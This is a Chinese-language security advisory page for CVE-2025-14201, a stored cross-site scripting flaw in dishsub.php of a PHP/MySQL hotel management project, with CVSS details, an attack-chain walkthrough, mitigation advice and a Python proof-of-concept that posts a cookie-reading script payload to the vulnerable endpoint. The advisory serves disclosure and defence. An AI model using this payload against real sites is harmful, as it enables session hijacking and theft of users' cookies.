IPBUF安全漏洞报告
English
CVE-2025-14201 CVSS 2.4 低危

CVE-2025-14201: Hotel-Management-services跨站脚本(XSS)漏洞

披露日期: 2025-12-07

漏洞信息

漏洞编号
CVE-2025-14201
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
2.4 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Hotel-Management-services-using-MYSQL-and-php

相关标签

CVE-2025-14201XSS跨站脚本存储型XSSHotel-Management-servicesPHPMySQLdishsub.phpWeb安全漏洞利用

漏洞概述

CVE-2025-14201是存在于alokjaiswal开源项目Hotel-Management-services-using-MYSQL-and-php中的一个存储型跨站脚本(XSS)漏洞。该漏洞影响项目提交版本5f8b60a7aa6c06a5632de569d4e3f6a8cd82f76f及之前版本。漏洞出现在dishsub.php文件中的item.name参数处理环节,攻击者可以通过构造恶意的JavaScript脚本代码并嵌入到菜品名称参数中,当其他用户访问相关页面时,恶意脚本将在受害者浏览器中执行。这可能导致会话劫持、敏感信息窃取、钓鱼攻击等安全问题。由于该漏洞利用复杂度低且已有公开的漏洞利用代码,攻击者可以轻松发起攻击。值得注意的是,该项目采用滚动发布模式,版本信息不明确,且开发者未对漏洞报告做出回应,用户需自行采取安全措施。

技术细节

该漏洞属于存储型XSS(Stored XSS)漏洞,存在于Hotel-Management-services项目的dishsub.php文件中。漏洞的根本原因在于应用程序对用户输入的item.name参数缺乏充分的输入验证和输出编码。当用户提交包含恶意JavaScript代码的菜品名称时,这些数据被直接存储到数据库中,且在后续页面展示时未经安全处理即输出到HTML页面中。攻击者可以通过以下步骤利用此漏洞:首先,构造包含<script>alert('XSS')</script>或更复杂的JavaScript payload的请求;然后,通过POST方法将恶意数据提交到/dishsub.php端点;最后,当管理员或其他用户访问包含该数据的页面时,恶意脚本将在其浏览器上下文中执行。由于该参数需要高权限用户(PR:H)操作,攻击场景可能涉及内部人员或被窃取的凭证。CVSS向量显示攻击复杂度低(AC:L),无需特殊权限即可发起攻击,但需要用户交互(UI:R)才能完成完整攻击链。

攻击链分析

STEP 1
信息收集
攻击者识别目标系统使用的Hotel-Management-services项目,并定位到存在漏洞的dishsub.php文件
STEP 2
构造恶意payload
攻击者构造包含恶意JavaScript代码的XSS payload,如<script>alert(document.cookie)</script>
STEP 3
发送恶意请求
通过POST请求将恶意payload作为item.name参数值提交到/dishsub.php端点,payload被存储到数据库
STEP 4
等待受害者访问
当管理员或普通用户访问包含该恶意数据的页面时,存储的JavaScript代码被浏览器解析执行
STEP 5
恶意代码执行
XSS payload在受害者浏览器中执行,可窃取会话Cookie、劫持用户会话、重定向到钓鱼页面或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-14201 PoC - Stored XSS in Hotel-Management-services # Target: /dishsub.php # Parameter: item.name def exploit_xss(target_url, payload): """ Exploit stored XSS vulnerability in dishsub.php """ # XSS payload - can be customized for different purposes xss_payload = '<script>alert(document.cookie)</script>' # Target endpoint endpoint = target_url.rstrip('/') + '/dishsub.php' # Prepare POST data with malicious item.name data = { 'item.name': payload or xss_payload, 'submit': 'Add' # Adjust submit button name as needed } try: print(f'[*] Sending malicious request to {endpoint}') print(f'[*] Payload: {payload or xss_payload}') # Send POST request response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print('[+] Request sent successfully') print('[+] Payload has been stored in the database') print('[+] XSS will execute when admin views the affected page') else: print(f'[-] Request failed with status code: {response.status_code}') except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') sys.exit(1) if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-14201.py <target_url> [payload]') print('Example: python cve-2025-14201.py http://localhost:8080') sys.exit(1) target = sys.argv[1] payload = sys.argv[2] if len(sys.argv) > 2 else None exploit_xss(target, payload)

影响范围

Hotel-Management-services-using-MYSQL-and-php <= 5f8b60a7aa6c06a5632de569d4e3f6a8cd82f76f

防御指南

临时缓解措施
由于该开源项目开发者未回应漏洞报告且无官方补丁,用户应采取以下临时措施:1)在使用前审查并修复dishsub.php文件,对item.name参数进行输入验证和输出编码;2)配置Web应用防火墙规则拦截包含<script>标签的请求;3)实施严格的Content-Security-Policy限制脚本执行;4)对管理后台启用双因素认证以降低账户被盗风险;5)考虑使用其他维护活跃的酒店管理系统替代品。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表